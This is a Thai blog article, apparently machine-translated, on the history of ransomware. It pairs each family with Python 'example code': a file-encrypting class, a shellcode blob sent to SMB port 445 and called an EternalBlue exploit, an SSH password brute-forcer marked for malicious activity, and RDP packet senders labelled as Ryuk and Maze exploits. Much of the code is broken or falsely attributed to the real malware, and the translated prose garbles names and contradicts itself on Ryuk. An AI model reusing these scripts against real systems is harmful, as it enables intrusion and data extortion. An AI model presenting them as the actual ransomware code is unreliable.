วิวัฒนาการที่น่าประทับใจของรหัสแรนซัมแวร์

May 10 2023
การติดตามประวัติของ Ransomware นั้นเหมือนกับการชมภาพยนตร์สยองขวัญที่คนร้ายฉลาดขึ้นเรื่อย ๆ และซับซ้อนมากขึ้น มีบางอย่างที่น่าสนใจและยังน่ากลัวเกี่ยวกับวิวัฒนาการของแรนซัมแวร์

การติดตามประวัติของ Ransomware นั้นเหมือนกับการชมภาพยนตร์สยองขวัญที่คนร้ายฉลาดขึ้นเรื่อย ๆ และซับซ้อนมากขึ้น มีบางอย่างที่น่าสนใจและยังน่ากลัวเกี่ยวกับวิวัฒนาการของแรนซัมแวร์ ในบทความนี้ เราจะพาคุณดำดิ่งสู่เส้นเวลาทางประวัติศาสตร์และแสดงให้คุณเห็นว่าอะไรที่ทำให้โปรแกรมที่เป็นอันตรายเหล่านี้หยุดได้ยาก

วายร้ายคอมพิวเตอร์

แรนซั่มแวร์ที่รู้จักตัวแรกที่รู้จักในชื่อ AIDS Trojan ปรากฏขึ้นในปี 1989 ตั้งแต่นั้นมา แรนซั่มแวร์ก็พัฒนาไปอย่างมาก กลายเป็นหนึ่งในมัลแวร์ประเภทที่แพร่หลายและทำลายล้างได้มากที่สุด บทความนี้จะติดตามวิวัฒนาการของแรนซัมแวร์ตั้งแต่ยุคแรก ๆ ของ CryptoLocker ไปจนถึง WannaCry ที่น่าอับอาย และการโจมตีด้วยแรนซัมแวร์ Maze และ REvil ที่ล่าสุด ในขณะที่อธิบายว่าแรนซัมแวร์แต่ละประเภททำงานร่วมกับตัวอย่างโค้ดจริงได้อย่างไร

2013: CryptoLocker

CryptoLocker เป็นแรนซัมแวร์ตัวแรกที่ใช้การเข้ารหัสคีย์สาธารณะเพื่อเข้ารหัสไฟล์ มันถูกแจกจ่ายผ่านไฟล์แนบอีเมลและใช้ช่องโหว่ใน Java และ Adobe Reader เพื่อทำให้ระบบติดไวรัส เมื่อระบบติดไวรัส ระบบจะเข้ารหัสไฟล์ทั้งหมดในระบบและเรียกชำระเงินเป็น Bitcoin เพื่อให้คีย์ถอดรหัส

ตัวอย่างโค้ด:

import os
import random
import string
from Crypto.Cipher import AES

class CryptoLocker:
    def __init__(self, key):
        self.key = key

    def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
        if not out_filename:
            out_filename = in_filename + '.enc'

        iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
        encryptor = AES.new(self.key, AES.MODE_CBC, iv)

        filesize = os.path.getsize(in_filename)

        with open(in_filename, 'rb') as infile:
            with open(out_filename, 'wb') as outfile:
                outfile.write(struct.pack('<Q', filesize))
                outfile.write(iv)

                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    elif len(chunk) % 16 != 0:
                        chunk += b' ' * (16 - len(chunk) % 16)

                    outfile.write(encryptor.encrypt(chunk))

    def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
        if not out_filename:
            out_filename = os.path.splitext(in_filename)[0]

        with open(in_filename, 'rb') as infile:
            orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
            iv = infile.read(16)
            decryptor = AES.new(self.key, AES.MODE_CBC, iv)

            with open(out_filename, 'wb') as outfile:
                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    outfile.write(decryptor.decrypt(chunk))

                outfile.truncate(orig_size)

# Usage example
key = b'secret_key_1234'
c = CryptoLocker(key)
c.encrypt_file('test_file.txt')
c.decrypt_file('test_file.txt.enc')

เมธอดdecrypt_fileใช้ชื่อไฟล์อินพุตและชื่อไฟล์เอาต์พุตที่เป็นทางเลือกและขนาดก้อน โดยจะอ่านไฟล์อินพุต แยกขนาดไฟล์ต้นฉบับและ IV และถอดรหัสข้อมูลที่เข้ารหัสโดยใช้คีย์เข้ารหัสและ IV เดียวกัน มันเขียนข้อมูลที่ถอดรหัสไปยังไฟล์เอาต์พุตและตัดทอนเป็นขนาดไฟล์ดั้งเดิม ตัวอย่างการใช้คลาสมีให้ที่ส่วนท้ายของรหัส โดยที่CryptoLockerวัตถุถูกสร้างขึ้นด้วยรหัสลับ ไฟล์อินพุตจะถูกเข้ารหัส และจากนั้นจึงถอดรหัส

2559: ล็อคกี้

Locky เผยแพร่ผ่านแคมเปญอีเมลและใช้การเข้ารหัส RSA และ AES ร่วมกันเพื่อเข้ารหัสไฟล์ ต้องการการชำระเงินเป็น Bitcoin เพื่อให้คีย์ถอดรหัส คาดว่าจะติดเชื้อมากกว่า 100,000 ระบบภายในสองสามสัปดาห์แรกของการเปิดตัว

ตัวอย่างโค้ด:

import os
import base64
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA

# Generate RSA key pair
key = RSA.generate(2048)

# Encrypt file using AES-128
key_aes = os.urandom(16)
cipher_aes = AES.new(key_aes, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(b'encrypted data')

# Encrypt AES key using RSA public key
cipher_rsa = key.public_key().encrypt(key_aes, None)

# Save encrypted file and AES key to disk
with open('encrypted_file.bin', 'wb') as f:
    f.write(ciphertext)

with open('encrypted_key.bin', 'wb') as f:
    f.write(cipher_rsa)

2017: อยากร้องไห้

ในปี 2560 แรนซั่มแวร์ WannaCry แพร่กระจายไปทั่วโลกอย่างรวดเร็ว ทำให้คอมพิวเตอร์หลายแสนเครื่องติดไวรัสในกว่า 150 ประเทศ WannaCry ใช้ประโยชน์จากช่องโหว่ในระบบปฏิบัติการ Windows ที่เรียกว่า EternalBlue ซึ่งถูกกล่าวหาว่าพัฒนาโดย NSA

ลักษณะที่แพร่หลายของการโจมตีและระบบสำคัญที่ได้รับผลกระทบเน้นย้ำถึงความจำเป็นที่องค์กรต้องจัดลำดับความสำคัญของความปลอดภัยทางไซเบอร์และบำรุงรักษาซอฟต์แวร์และโปรโตคอลความปลอดภัยที่ทันสมัยเพื่อป้องกันการโจมตีดังกล่าว..

ตัวอย่างโค้ด:

import socket

# EternalBlue exploit code
exploit = (
    b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x10\x5b\x53\x4b\x8b\x58\x18"
    b"\x8b\x53\x20\x01\xda\x51\x52\x8b\x52\x3c\x01\xda\x8b\x72\x78\x01"
    b"\xde\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01"
    b"\xc7\x49\x75\xef\x52\x57\x8b\x52\x20\x01\xda\x53\x8b\x34\x9a\x01"
    b"\xde\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03"
    b"\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xda\x66\x8b\x0c"
    b"\x4b\x8b\x58\x1c\x01\xda\x8b\x04\x8b\x01\xda\x89\x44\x24\x24\x5b"
    b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff"
    b"\xff\x5d\x6a\x01\x8d\x45\x68\x50\x68\x8e\x4e\x0e\xec\xff\xd5\x97"
    b"\x68\x8f\x0e\x4e\xec\x89\xe3\x6a\x10\x53\x57\x68\xde\xf8\x24\x75"
    b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x8b\x36\x8b\x55\xfc"
    b"\x8b\x46\x0c\x8b\x7e\x1c\x8b\x4e\x08\x8b\x7e\x20\x8b\x36\x66\x39"
    b"\x4f\x18\x75\xf2\x66\x81\x39\x44\x44\x75\xe6\x5e\x56\x53\x2c\x24"
    b"\x0f\xba\x2c\x17\x42\x52\x6a\x01\x52\xff\xd0\x68\x63\x6d\x64\x00"
    b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\xff\xd5\x97\x6a\x0a\x5f"
    b"\xc3"
)

# IP address and port of vulnerable machine
target_ip = "192.168.1.100"
target_port = 445

# Create a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))

# Send exploit code
sock.send(exploit)

# Close the socket
sock.close()

สิ่งสำคัญคือต้องจำไว้ว่าโค้ดนี้ เช่นเดียวกับตัวอย่างอื่นๆ ในบทความนี้ มีไว้เพื่อจุดประสงค์ด้านการศึกษาเท่านั้น และไม่ควรใช้เพื่อกิจกรรมที่เป็นอันตรายใดๆ

2018: แซมแซม

SamSam เป็นแรนซัมแวร์ที่ถูกตรวจพบครั้งแรกในปี 2018 ซึ่งแตกต่างจากการโจมตีแรนซัมแวร์อื่นๆ ที่ใช้อีเมลฟิชชิ่งเพื่อเข้าถึงระบบของเหยื่อ SamSam ใช้กำลังดุร้ายเพื่อเข้าถึงเซิร์ฟเวอร์ที่ไม่ได้แพตช์ เมื่อเข้าไปข้างในแล้ว แรนซัมแวร์เข้ารหัสไฟล์และเรียกร้องการชำระเงินเป็น Bitcoin

ตัวอย่างโค้ด:

import paramiko
import time

target_server = "example.com"
username = "admin"
passwords = ["password1", "password2", "password3", "password4", "password5"]
port = 22

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

for password in passwords:
    try:
        ssh.connect(target_server, port=port, username=username, password=password)
        print(f"Successfully logged in to {target_server} with username {username} and password {password}.")
        # Do malicious activities here
        ssh.close()
        break
    except paramiko.AuthenticationException:
        print(f"Failed to log in to {target_server} with username {username} and password {password}.")
        time.sleep(1)

2019: ริว

เชื่อกันว่าริวกมีต้นกำเนิดในเกาหลีเหนือและเคยถูกใช้เพื่อกำหนดเป้าหมายที่มีมูลค่าสูง เช่น โรงพยาบาลและหน่วยงานรัฐบาล สิ่งนี้กลายเป็นเรื่องเท็จและเดิมทีถูกใช้โดยองค์กรอาชญากรรมต่างๆ มากมาย โดยทั่วไปแล้ว Ryuk จะถูกส่งผ่านอีเมลฟิชชิ่งหรือโดยการใช้ประโยชน์จากช่องโหว่ในโปรโตคอลเดสก์ท็อประยะไกล

ตัวอย่างโค้ด:

import socket

RDP_PORT = 3389

def exploit_rdp_vulnerability(target_ip):
    # Establish a connection to the target RDP server
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    try:
        s.connect((target_ip, RDP_PORT))
    except:
        print(f"Connection failed to {target_ip}:{RDP_PORT}")
        return
    
    # Send a malicious RDP message to trigger the vulnerability
    # In a real attack, this would contain the ransomware payload
    # In this safe example, I will just print the message for demonstration purposes
    message = b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00"
    s.sendall(message)
    
    # Receive the server's response and print it for demonstration purposes
    response = s.recv(1024)
    print(response.decode())
    
    # Close the connection
    s.close()

# Example usage
exploit_rdp_vulnerability('192.168.1.100')

2019: เขาวงกต

เขาวงกตเข้ารหัสไฟล์ของเหยื่อและเรียกร้องการชำระเงินเพื่อแลกกับคีย์ถอดรหัส อย่างไรก็ตาม Maze ransomware ยังมีชื่อเสียงในการขโมยข้อมูลที่สำคัญจากผู้ที่ตกเป็นเหยื่อและขู่ว่าจะเผยแพร่หากไม่จ่ายค่าไถ่ ทำให้มันเป็นแรนซัมแวร์ประเภท “ double extortion ”

เป็นที่ทราบกันดีว่า Maze ransomware ใช้ประโยชน์จากช่องโหว่ในโปรโตคอลเดสก์ท็อประยะไกล (RDP) เพื่อเข้าถึงระบบพร้อมกับอีเมลฟิชชิ่งทั่วไป

ตัวอย่างโค้ด:

import socket

HOST = '192.168.1.100'
PORT = 3389

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

data = s.recv(1024)
print(data)

# Send RDP negotiation packet
negotiation_packet = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x00\x00'
s.sendall(negotiation_packet)

data = s.recv(1024)
print(data)

# Send RDP connection request packet
connection_request_packet = b'\x03\x00\x00\x2c\x0e\xd0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x03\xeb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
s.sendall(connection_request_packet)

data = s.recv(1024)
print(data)

# Send RDP security packet with no credentials
security_packet = b'\x03\x00\x00\x08\x02\xf0\x80'
s.sendall(security_packet)

data = s.recv(1024)
print(data)

# Send RDP negotiate security packet
negotiate_security_packet = b'\x03\x00\x00\x0c\x02\xf0\x80\x00\x01\x00\x08'
s.sendall(negotiate_security_packet)

data = s.recv(1024)
print(data)

s.close()

2021: รีวิล

หนึ่งในการโจมตีด้วยแรนซัมแวร์ที่โดดเด่นที่สุดในช่วงไม่กี่ปีที่ผ่านมาคือการโจมตีแรนซัมแวร์ REvil ในเดือนกรกฎาคม 2021 การโจมตีพุ่งเป้าไปที่ผู้ให้บริการซอฟต์แวร์ชื่อ Kaseya ซึ่งให้บริการซอฟต์แวร์การจัดการระยะไกลแก่บริษัทอื่นๆ ผู้โจมตีสามารถเข้าถึงซอฟต์แวร์ของ Kaseya และแจกจ่ายมัลแวร์ไปยังลูกค้าหลายร้อยราย ส่งผลให้เกิดการโจมตีด้วยแรนซัมแวร์อย่างกว้างขวาง

REvil ใช้การเข้ารหัสที่แข็งแกร่งเพื่อเข้ารหัสไฟล์ของเหยื่อและเรียกร้องค่าไถ่เพื่อแลกกับคีย์ถอดรหัส เช่นเดียวกับกลุ่มแรนซัมแวร์ส่วนใหญ่ในยุคนี้ บิตคอยน์ถูกใช้เป็นวิธีการชำระเงิน

ตัวอย่างโค้ด:

import os
import random
import string
from Crypto.Cipher import AES

class Ransomware:
    def __init__(self, key):
        self.key = key

    def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
        if not out_filename:
            out_filename = in_filename + '.enc'

        iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
        encryptor = AES.new(self.key, AES.MODE_CBC, iv)

        filesize = os.path.getsize(in_filename)

        with open(in_filename, 'rb') as infile:
            with open(out_filename, 'wb') as outfile:
                outfile.write(struct.pack('<Q', filesize))
                outfile.write(iv)

                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    elif len(chunk) % 16 != 0:
                        chunk += b' ' * (16 - len(chunk) % 16)

                    outfile.write(encryptor.encrypt(chunk))

    def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
        if not out_filename:
            out_filename = os.path.splitext(in_filename)[0]

        with open(in_filename, 'rb') as infile:
            orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
            iv = infile.read(16)
            decryptor = AES.new(self.key, AES.MODE_CBC, iv)

            with open(out_filename, 'wb') as outfile:
                while True:
                    chunk = infile.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    outfile.write(decryptor.decrypt(chunk))

                outfile.truncate(orig_size)

# Usage example
key = b'secret_key_1234'
r = Ransomware(key)
r.encrypt_file('important_file.docx')
r.decrypt_file('important_file.docx.enc')

ในตัวอย่างการใช้งาน มีการกำหนดคีย์ และRansomwareสร้างอินสแตนซ์ของคลาสโดยใช้คีย์นี้ เมธอด นี้encrypt_fileเรียกในไฟล์ชื่อ 'important_file.docx' ซึ่งสร้างไฟล์เข้ารหัสชื่อ 'important_file.docx.enc' สุดท้ายdecrypt_fileเมธอดนี้ถูกเรียกใช้ในไฟล์ที่เข้ารหัสเพื่อถอดรหัสกลับไปเป็นรูปแบบเดิม

ฉันหวังว่าบทความนี้จะให้มุมมองที่จำเป็นมากเกี่ยวกับวิวัฒนาการของแรนซัมแวร์และวิธีที่แรนซัมแวร์เป็นภัยคุกคามที่ใหญ่ที่สุดของเราเนื่องจากความง่ายในการปรับใช้และการสร้างรายได้ทันทีจากกิจกรรมที่ผิดกฎหมาย อย่างไรก็ตาม ต้องระลึกถึงความก้าวหน้าในช่วงไม่กี่ปีที่ผ่านมาในการเปิดโปงและให้ความรู้แก่ประชาชนทั่วไปในเรื่องเหล่านี้